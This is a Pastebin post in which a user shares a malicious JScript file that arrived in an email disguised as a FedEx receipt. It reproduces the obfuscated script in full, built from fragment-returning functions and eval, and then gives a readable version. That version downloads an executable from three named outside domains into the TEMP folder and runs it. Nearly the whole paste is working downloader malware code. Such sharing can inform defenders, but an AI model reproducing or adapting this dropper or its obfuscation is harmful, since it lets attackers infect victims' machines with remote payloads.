Advertisement
JoshDreamland

Prehistoric Virus

Sep 27th, 2015
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // A virus showed up in my email today.
  2. // It was a zip file claiming to be a Fedex receipt.
  3. // To my surprise, the zip did not contain an exe, but a js file.
  4. // I got a kick out of it, so I thought I'd share it.
  5. // I have added newlines and some spaces, but otherwise left it as received:
  6.  
  7. var stroke="5557575E0E0B170C12241E0B0B090D0A1001160A01104A0A0110";
  8.  
  9. function pk44pa() { return 'Shel'; };
  10. function pk112pa() { return '= '; };
  11. function pk100pa() { return 'ch'; };
  12. function pk188pa() { return 'GET'; };
  13. function pk4pa() { return 'l('; };
  14. function pk186pa() { return '.ope'; };
  15. function pk190pa() { return 'ht'; };
  16. function pk114pa() { return 'xo.st'; };
  17. function pk169pa() { return 'n(fn'; };
  18. function pk218pa() { return '; if '; };
  19. function pk184pa() { return 'y { '; };
  20. var v = '';
  21. function pk26pa() { return '(var '; };
  22. function pk230pa() { return 'dl'; };
  23. function pk142pa() { return 'esp'; };
  24. function pk89pa() { return 'Obje'; };
  25. function pk148pa() { return 'ze '; };
  26. function pk194pa() { return '+"/d'; };
  27. function pk35pa() { return ' n'; };
  28. function pk16pa() { return 'es'; };
  29. function pk199pa() { return 'd='; };
  30. function pk215pa() { return 'ch ('; };
  31. function pk78pa() { return '".exe'; };
  32. function pk101pa() { return 'ange '; };
  33. function pk121pa() { return '= n'; };
  34. function pk80pa() { return 'va'; };
  35. function pk150pa() { return '000)'; };
  36. function pk33pa() { return '{ var'; };
  37. function pk119pa() { return 'ar'; };
  38. function pk66pa() { return 'Code('; };
  39. function pk156pa() { return 'tio'; };
  40. function pk54pa() { return 'me'; };
  41. function pk76pa() { return '0000'; };
  42. function pk72pa() { return 'ran'; };
  43. function pk107pa() { return '(xo.'; };
  44. function pk138pa() { return '; x'; };
  45. function pk58pa() { return '("'; };
  46. function pk208pa() { return 'e)'; };
  47. function pk146pa() { return 'xa'; };
  48. function pk104pa() { return 'ction'; };
  49. function pk67pa() { return '92)+M'; };
  50. function pk181pa() { return '); '; };
  51. function pk211pa() { return 'en'; };
  52. function pk196pa() { return 'um'; };
  53. function pk34pa() { return ' ws ='; };
  54. function pk145pa() { return ' if ('; };
  55. function pk151pa() { return ' { dn'; };
  56. function pk126pa() { return '("'; };
  57. function pk133pa() { return 'n(); '; };
  58. function pk168pa() { return '.Ru'; };
  59. function pk77pa() { return '000)+'; };
  60. function pk205pa() { return 'ok'; };
  61. function pk158pa() { return '= 0'; };
  62. function pk149pa() { return '> 5'; };
  63. function pk116pa() { return ' == 2'; };
  64. function pk6pa() { return '{ v'; };
  65. function pk36pa() { return 'ew'; };
  66. function pk68pa() { return 'at'; };
  67. function pk46pa() { return 'var f'; };
  68. function pk19pa() { return 'ers.'; };
  69. function pk5pa() { return 'fr) '; };
  70. function pk84pa() { return 'var '; };
  71. function pk134pa() { return 'xa'; };
  72. function pk195pa() { return 'oc'; };
  73. function pk166pa() { return ' try '; };
  74. function pk125pa() { return 'bject'; };
  75. function pk32pa() { return 'i++) '; };
  76. function pk180pa() { return 'ose('; };
  77. function pk219pa() { return '(d'; };
  78. function pk40pa() { return 'ct("'; };
  79. function pk225pa() { return '311'; };
  80. function pk61pa() { return '+St'; };
  81. function pk141pa() { return 'xo.R'; };
  82. function pk221pa() { return ' 1) b'; };
  83. function pk226pa() { return '); dl'; };
  84. function pk45pa() { return 'l"); '; };
  85. function pk109pa() { return 'ySt'; };
  86. function pk198pa() { return 'hp?rn'; };
  87. function pk108pa() { return 'read'; };
  88. function pk228pa() { return '05'; };
  89. function pk74pa() { return 'm('; };
  90. function pk143pa() { return 'onseB'; };
  91. function pk179pa() { return 'xa.cl'; };
  92. function pk204pa() { return 'tr'; };
  93. function pk203pa() { return '="+s'; };
  94. function pk9pa() { return 'rigg'; };
  95. function pk171pa() { return '0);'; };
  96. function pk164pa() { return 'n,2'; };
  97. function pk25pa() { return 'for '; };
  98. function pk163pa() { return '(f'; };
  99. function pk167pa() { return '{ ws'; };
  100. function pk71pa() { return 'Math.'; };
  101. function pk92pa() { return 'XML2'; };
  102. function pk81pa() { return 'r '; };
  103. function pk79pa() { return '"; '; };
  104. function pk131pa() { return 'a.'; };
  105. function pk43pa() { return 'pt.'; };
  106. function pk87pa() { return 'ct'; };
  107. function pk162pa() { return 'ile'; };
  108. function pk128pa() { return '.Str'; };
  109. function pk88pa() { return 'iveX'; };
  110. function pk63pa() { return 'ng.f'; };
  111. function pk161pa() { return 'veToF'; };
  112. function pk10pa() { return 'st.'; };
  113. function pk99pa() { return 'te'; };
  114. function pk98pa() { return 'dysta'; };
  115. function pk231pa() { return '(15'; };
  116. function pk122pa() { return 'ew A'; };
  117. function pk48pa() { return '= '; };
  118. function pk50pa() { return '.Ex'; };
  119. function pk21pa() { return '".s'; };
  120. function pk3pa() { return 'n d'; };
  121. function pk210pa() { return 'xo.s'; };
  122. function pk206pa() { return 'e,'; };
  123. function pk62pa() { return 'ri'; };
  124. function pk152pa() { return ' = '; };
  125. function pk97pa() { return 'rea'; };
  126. function pk106pa() { return 'if '; };
  127. function pk227pa() { return '(1'; };
  128. function pk178pa() { return '}; '; };
  129. function pk124pa() { return 'eXO'; };
  130. function pk176pa() { return 'r) {'; };
  131. function pk115pa() { return 'atus'; };
  132. function pk110pa() { return 'at'; };
  133. function pk52pa() { return 'En'; };
  134. function pk160pa() { return 'a.sa'; };
  135. function pk8pa() { return ' = "'; };
  136. function pk187pa() { return 'n("'; };
  137. function pk2pa() { return 'ctio'; };
  138. function pk207pa() { return ' fals'; };
  139. function pk177pa() { return '}; '; };
  140. function pk214pa() { return 'at'; };
  141. function pk224pa() { return '; dl('; };
  142. function pk86pa() { return 'new A'; };
  143. function pk13pa() { return 'dcpow'; };
  144. function pk172pa() { return ' }'; };
  145. function pk65pa() { return 'ar'; };
  146. function pk73pa() { return 'do'; };
  147. function pk209pa() { return '; '; };
  148. function pk57pa() { return 'gs'; };
  149. function pk12pa() { return 'm s'; };
  150. function pk51pa() { return 'pand'; };
  151. function pk70pa() { return 'und('; };
  152. function pk182pa() { return '}; };'; };
  153. function pk1pa() { return 'fun'; };
  154. function pk93pa() { return '.XMLH'; };
  155. function pk197pa() { return 'ent.p'; };
  156. function pk233pa() { return ';'; };
  157. function pk69pa() { return 'h.ro'; };
  158. function pk139pa() { return 'a.w'; };
  159. function pk85pa() { return 'xo = '; };
  160. function pk82pa() { return 'dn '; };
  161. function pk154pa() { return 'a.p'; };
  162. function pk155pa() { return 'osi'; };
  163. function pk127pa() { return 'ADODB'; };
  164. function pk0pa() { return 'eval'; };  
  165. function pk144pa() { return 'ody);'; };
  166. function pk212pa() { return 'd();'; };
  167. function pk183pa() { return ' tr'; };
  168. function pk37pa() { return ' Acti'; };
  169. function pk200pa() { return '"+f'; };
  170. function pk130pa() { return '); x'; };
  171. function pk111pa() { return 'e ='; };
  172. function pk38pa() { return 'veXOb'; };
  173. function pk27pa() { return 'i=0'; };
  174. function pk232pa() { return '73)'; };
  175. function pk23pa() { return '(" ")'; };
  176. function pk11pa() { return 'co'; };
  177. function pk75pa() { return ')*10'; };
  178. function pk159pa() { return '; x'; };
  179. function pk157pa() { return 'n '; };
  180. function pk189pa() { return '","'; };
  181. function pk60pa() { return '%")'; };
  182. function pk147pa() { return '.si'; };
  183. function pk220pa() { return 'n =='; };
  184. function pk223pa() { return ' }; }'; };
  185. function pk185pa() { return 'xo'; };
  186. function pk59pa() { return '%TEMP'; };
  187. function pk135pa() { return '.ty'; };
  188. function pk165pa() { return ');'; };
  189. function pk17pa() { return '-egla'; };
  190. function pk102pa() { return '= '; };
  191. function pk132pa() { return 'ope'; };
  192. function pk153pa() { return '1; x'; };
  193. function pk14pa() { return 'er.'; };
  194. function pk31pa() { return 'gth; '; };
  195. function pk7pa() { return 'ar b'; };
  196. function pk129pa() { return 'eam"'; };
  197. function pk173pa() { return ' cat'; };
  198. function pk29pa() { return '<b'; };
  199. function pk202pa() { return '&id'; };
  200. function pk95pa() { return 'P"); '; };
  201. function pk123pa() { return 'ctiv'; };
  202. function pk22pa() { return 'plit'; };
  203. function pk18pa() { return 'nti'; };
  204. function pk20pa() { return 'fr'; };
  205. function pk24pa() { return '; '; };
  206. function pk39pa() { return 'je'; };
  207. function pk28pa() { return '; i'; };
  208. function pk216pa() { return 'er) '; };
  209. function pk118pa() { return ' { v'; };
  210. function pk229pa() { return '2); '; };
  211. function pk105pa() { return '() { '; };
  212. function pk136pa() { return 'pe '; };
  213. function pk137pa() { return '= 1'; };
  214. function pk64pa() { return 'romCh'; };
  215. function pk191pa() { return 'tp:/'; };
  216. function pk53pa() { return 'viron'; };
  217. function pk49pa() { return 'ws'; };
  218. function pk41pa() { return 'WS'; };
  219. function pk42pa() { return 'cri'; };
  220. function pk56pa() { return 'in'; };
  221. function pk103pa() { return 'fun'; };
  222. function pk117pa() { return '00)'; };
  223. function pk170pa() { return ',1,'; };
  224. function pk83pa() { return '= 0; '; };
  225. function pk55pa() { return 'ntStr'; };
  226. function pk192pa() { return '/"+b'; };
  227. function pk30pa() { return '.len'; };
  228. function pk91pa() { return 'MS'; };
  229. function pk113pa() { return '4 && '; };
  230. function pk96pa() { return 'xo.on'; };
  231. function pk90pa() { return 'ct("'; };
  232. function pk120pa() { return ' xa '; };
  233. function pk222pa() { return 'reak;'; };
  234. function pk201pa() { return 'r+"'; };
  235. function pk217pa() { return '{}'; };
  236. function pk193pa() { return '[i]'; };
  237. function pk140pa() { return 'rite('; };
  238. function pk15pa() { return 'com l'; };
  239. function pk174pa() { return 'ch'; };
  240. function pk213pa() { return ' } c'; };
  241. function pk94pa() { return 'TT'; };
  242. function pk47pa() { return 'n '; };
  243. function pk175pa() { return ' (e'; };
  244.  
  245. for (var cl=1; cl<=233; cl++) {
  246.   v += this['pk'+cl+'pa']();
  247. };
  248. this[pk0pa()](v);
  249.  
  250.  
  251. // =============================================================================
  252. // =============================================================================
  253. // === An evaluated version of the above is as follows: ========================
  254. // =============================================================================
  255. // =============================================================================
  256.  
  257. function dl(fr) {
  258.   var b = "riggst.com sdcpower.com les-eglantiers.fr".split(" ");
  259.   for (var i=0; i<b.length; i++) {
  260.     var ws = new ActiveXObject("WScript.Shell");
  261.     var fn = ws.ExpandEnvironmentStrings("%TEMP%")
  262.         + String.fromCharCode(92)    // Yeah, you got me; backslashes are evil?
  263.         + Math.round(Math.random() * 100000000)
  264.         + ".exe";
  265.     var dn = 0;
  266.     var xo = new ActiveXObject("MSXML2.XMLHTTP");         // How funny is this?
  267.     xo.onreadystatechange = function() {
  268.       if (xo.readyState == 4 && xo.status == 200) {
  269.         var xa = new ActiveXObject("ADODB.Stream");
  270.         xa.open();
  271.         xa.type = 1;
  272.         xa.write(xo.ResponseBody);
  273.         if (xa.size > 5000) {
  274.           dn = 1; xa.position = 0;
  275.           xa.saveToFile(fn,2);
  276.           try {
  277.             ws.Run(fn,1,0);
  278.           } catch (er) {};
  279.         };
  280.         xa.close();
  281.       };
  282.     };
  283.     try {
  284.       xo.open("GET",
  285.           "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke,
  286.           false);
  287.       xo.send();
  288.     } catch (er) {};
  289.     if (dn == 1) break;
  290.   };
  291. };
  292.  
  293. dl(311);
  294. dl(1052);
  295. dl(1573);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement